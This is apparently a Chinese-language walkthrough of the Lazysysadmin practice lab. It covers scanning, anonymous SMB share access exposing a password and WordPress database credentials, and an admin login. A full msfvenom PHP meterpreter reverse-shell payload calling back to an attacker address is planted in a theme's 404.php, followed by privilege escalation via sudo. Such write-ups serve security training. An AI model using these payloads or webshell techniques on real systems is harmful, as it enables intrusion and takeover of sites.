介绍

图片

HackNmme:Lazysysadmin
Task:Get /root/proof.txt

学习到的知识点

SMB协议:print$(打印机服务)、share$(共享文件夹服务)、IPC$(空链接)
通过Wordpress后台的404页面拿Webshell

信息搜集

查看 eth0 网卡的 10.10.10.1 C段下有那些主机:

1
netdiscover -i eth0 -r 10.10.10.1/24

图片

其中,10.10.10.133 是我们的靶机IP!接着用NMAP扫描端口开放服务:

1
nmap -A -T4 10.10.10.133

图片

它总共开放了:22,80,139,445,3306,6667端口!我们先通过web端下手:

1
URL = http://10.10.10.133/

图片

接着习惯性的用KALI自带的dirb扫一下它的目录:

1
dirb http://10.10.10.133

图片

SMB协议空密码获取铭感文件

先让它扫着,我们继续找其他突破口,通过刚刚的NMAP扫描结果得出它开放了SMB协议(是一种在局域网上共享文件和打印机的一种通信协议,它为局域网的不同计算机之间提供文件及打印机等资源的共享服务),我们尝试看看能不能连接到它的SMB

1
2
smbclient -L 10.10.10.133
-L 指定一个IP

图片

smbclient 连接到 10.10.10.133SMB 协议的时候,从上图得知他弹出要密码,但是我没有密码使用空密码尝试连接,结果连接成功返回以上信息!通过上图我们得知它有三个服务:print$(打印机服务器)、share$(共享文件夹)、$IPC(空链接),我们尝试对他们进行空密码连接:

1
smbclient '\\10.10.10.133\share$'

图片

通过尝试用空密码连接打印机服务失败,而连接到共享文件夹服务成功!

图片

1
get deets.txt

图片

通过把 deets.txt 文件下载到本地,发现是一个密码:

1
2
3
4
5
CBF Remembering all these passwords.

Remember to remove this file and update your password after we push out the server.

Password 12345

图片

接着又通过切换到 wordpress 目录下发现了一个 wp-config.php 配置文件,使用 get 命令把它下载到本地:

1
get wp-config.php

图片

通过 gedit 打开 wp-config.php 发现了它的数据库连接信息:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
// ** MySQL settings - You can get this info from your web host ** //

/** The name of the database for WordPress */

define('DB_NAME', 'wordpress');

/** MySQL database username */

define('DB_USER', 'Admin');

/** MySQL database password */

define('DB_PASSWORD', 'TogieMYSQL12345^^');

/** MySQL hostname */

define('DB_HOST', 'localhost');

/** Database Charset to use in creating database tables. */

define('DB_CHARSET', 'utf8');

/** The Database Collate type. Don't change this if in doubt. */

define('DB_COLLATE', '');

图片

从上图得知,他的数据库名是 wordpress,用户名是 Admin,密码为 TogieMYSQL12345^^,这个时候我尝试看看能不能登录到它数据库里:

1
mysql -h 10.10.10.133 -u Admin -p

图片

输入密码后发现登录不进去,可能是关掉了外联。额,这个时候回到刚刚扫描的 web ,发现是用 wordpressCMS,然后后台也扫描出来了:

1
http://10.10.10.133/wordpress/wp-login.php

图片

图片

通过Wordpress的404页面拿shell

通过刚刚 get 下来的数据库账号密码尝试登陆 wordpress

1
2
USER: Admin
PASS: TogieMYSQL12345^^

图片

成功登陆到 wordpress,接下来就是用 MSF 来生成一个 php的木马来得到网站权限:

1
msfvenom -p php/meterpreter/reverse_tcp lhost=10.10.10.128 lport=4444 -f raw

图片

1
<?php /**/ error_reporting(0); $ip = '10.10.10.128'; $port = 4444; if (($f = 'stream_socket_client') && is_callable($f)) { $s = $f("tcp://{$ip}:{$port}"); $s_type = 'stream'; } if (!$s && ($f = 'fsockopen') && is_callable($f)) { $s = $f($ip, $port); $s_type = 'stream'; } if (!$s && ($f = 'socket_create') && is_callable($f)) { $s = $f(AF_INET, SOCK_STREAM, SOL_TCP); $res = @socket_connect($s, $ip, $port); if (!$res) { die(); } $s_type = 'socket'; } if (!$s_type) { die('no socket funcs'); } if (!$s) { die('no socket'); } switch ($s_type) { case 'stream': $len = fread($s, 4); break; case 'socket': $len = socket_read($s, 4); break; } if (!$len) { die(); } $a = unpack("Nlen", $len); $len = $a['len']; $b = ''; while (strlen($b) < $len) { switch ($s_type) { case 'stream': $b .= fread($s, $len-strlen($b)); break; case 'socket': $b .= socket_read($s, $len-strlen($b)); break; } } $GLOBALS['msgsock'] = $s; $GLOBALS['msgsock_type'] = $s_type; if (extension_loaded('suhosin') && ini_get('suhosin.executor.disable_eval')) { $suhosin_bypass=create_function('', $b); $suhosin_bypass(); } else { eval($b); } die();

打开 msfconsole 控制台进行监听:

图片

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
msf5 exploit(multi/handler) > show options 

Module options (exploit/multi/handler):

Name Current Setting Required Description
---- --------------- -------- -----------


Payload options (php/meterpreter/reverse_tcp):

Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 10.10.10.128 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port


Exploit target:

Id Name
-- ----
0 Wildcard Target


msf5 exploit(multi/handler) > run

最后来到 Appearance - Editor,修改网站的 404.php 页面,其中的代码就是刚刚 MSF 生成的 payload

图片

通过访问 404.php 反弹得到一个 shell

1
http://10.10.10.133/wordpress/wp-content/themes/twentyfifteen/404.php

图片

图片

发现是一个 www-data 的用户,权限有点小…,我们切换到 bash

1
python -c "import pty;pty.spawn('/bin/bash')"

图片

通过查看 passwd 文件,我发现了一个用户:togie

图片

通过 su 切换到 togie 用户,密码是12345(就是之前通过share共享文件夹服务得到的密码)成功登陆到 togie 这个用户:

图片

权限提升

先来查看能执行那些 root 权限的命令:

1
sudo -l

图片

从上图得知,可以执行所有的命令!那么我就直接切换到 root 用户:

1
sudo su

图片

图片

成功获取 proof.txt 文件!

总结

通过SMB协议连接到共享文件夹服务,得到一个密码12345和网站数据库配置信息;接着通过得到的数据库配置信息尝试登陆 wordpress后台,登陆成功后使用MSF得到一枚shell,最后登陆到togie用户之后切换到 root ,最终拿到 proof.txt文件!